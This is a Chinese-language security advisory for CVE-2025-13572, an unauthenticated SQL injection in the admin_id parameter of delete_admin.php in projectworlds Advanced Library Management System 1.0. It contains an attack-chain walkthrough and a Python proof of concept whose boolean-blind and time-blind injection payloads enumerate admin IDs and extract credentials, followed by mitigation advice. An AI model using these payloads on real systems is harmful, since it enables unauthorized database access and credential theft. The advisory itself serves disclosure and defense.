IPBUF安全漏洞报告
English
CVE-2025-13572 CVSS 7.3 高危

CVE-2025-13572 | projectworlds高级图书馆管理系统SQL注入漏洞

披露日期: 2025-11-23

漏洞信息

漏洞编号
CVE-2025-13572
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
projectworlds Advanced Library Management System 1.0

相关标签

SQL注入projectworlds高级图书馆管理系统CVE-2025-13572高危漏洞无需认证远程代码执行Web应用安全

漏洞概述

CVE-2025-13572是projectworlds公司开发的高级图书馆管理系统1.0版本中的一个高危安全漏洞。该漏洞存在于delete_admin.php文件中的admin_id参数,由于未对用户输入进行充分的过滤和验证,攻击者可以通过构造恶意的SQL语句实现SQL注入攻击。成功利用此漏洞的攻击者可以在未经身份验证的情况下远程执行任意SQL命令,可能导致数据库敏感信息泄露、数据库被篡改或删除,甚至可能通过数据库进一步获取服务器权限。该漏洞的CVSS评分为7.3,属于高危级别,攻击复杂度低,无需认证即可利用,对系统的机密性、完整性和可用性均产生一定影响。漏洞利用代码已在公开渠道出现,建议受影响的用户尽快采取修复措施。

技术细节

该SQL注入漏洞位于/delete_admin.php文件中,具体受影响的是admin_id参数。攻击者可以通过HTTP请求向该文件提交包含恶意SQL代码的admin_id参数值。由于应用程序在后端数据库查询时直接使用了用户可控的输入而未进行适当的参数化查询或输入过滤,恶意SQL代码将被传递到数据库执行。攻击者可以利用UNION SELECT、布尔盲注、时间盲注等技术从数据库中提取敏感信息,如管理员账号、密码哈希等。此外,攻击者还可能通过堆叠查询执行系统命令(取决于数据库配置和权限)。由于该漏洞无需认证即可利用,攻击者可以直接通过互联网发起攻击,对暴露在网络中的图书馆管理系统构成严重威胁。

攻击链分析

STEP 1
步骤1
攻击者识别目标网站使用的图书馆管理系统版本为projectworlds Advanced Library Management System 1.0
STEP 2
步骤2
攻击者访问/delete_admin.php文件,发现admin_id参数存在且未进行输入过滤
STEP 3
步骤3
攻击者构造SQL注入payload,通过UNION注入或盲注技术提取数据库中的管理员账号和密码哈希
STEP 4
步骤4
利用获取的管理员凭据登录后台管理系统,进一步获取更高权限或执行系统命令
STEP 5
步骤5
攻击者可以篡改图书馆数据、删除用户信息或窃取敏感数据用于后续攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests target_url = "http://target.com/delete_admin.php" # SQL Injection PoC using boolean-based blind injection def sql_inject_admin_ids(): headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } # Extract admin IDs using boolean blind injection for i in range(1, 10): payload = f"1' AND (SELECT COUNT(*) FROM admin WHERE id={i})>0 AND '1'='1" params = {"admin_id": payload} try: response = requests.get(target_url, params=params, headers=headers, timeout=10) if "success" in response.text.lower() or response.status_code == 200: print(f"[+] Admin ID found: {i}") except Exception as e: print(f"[-] Error: {e}") # Extract admin credentials def extract_credentials(admin_id): headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } # Time-based blind injection to extract username payload = f"1' AND IF(SUBSTRING((SELECT username FROM admin WHERE id={admin_id}),1,1)='a',SLEEP(5),0) AND '1'='1" params = {"admin_id": payload} try: response = requests.get(target_url, params=params, headers=headers, timeout=15) print(f"[*] Testing character extraction for admin {admin_id}") except requests.exceptions.Timeout: print(f"[+] Character confirmed via time-based injection") if __name__ == "__main__": print("[*] CVE-2025-13572 SQL Injection PoC") print("[*] Target: projectworlds Advanced Library Management System 1.0") sql_inject_admin_ids()

影响范围

projectworlds Advanced Library Management System 1.0

防御指南

临时缓解措施
在官方修复方案发布前,可采取以下临时缓解措施:1) 在Web应用层添加输入验证逻辑,对admin_id参数进行白名单过滤;2) 通过防火墙规则限制对/delete_admin.php文件的访问或禁用该功能;3) 对数据库账户权限进行最小化配置,限制其对敏感表的写操作;4) 启用数据库审计日志,监控异常查询行为;5) 考虑使用ModSecurity等WAF规则临时阻断SQL注入攻击特征。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表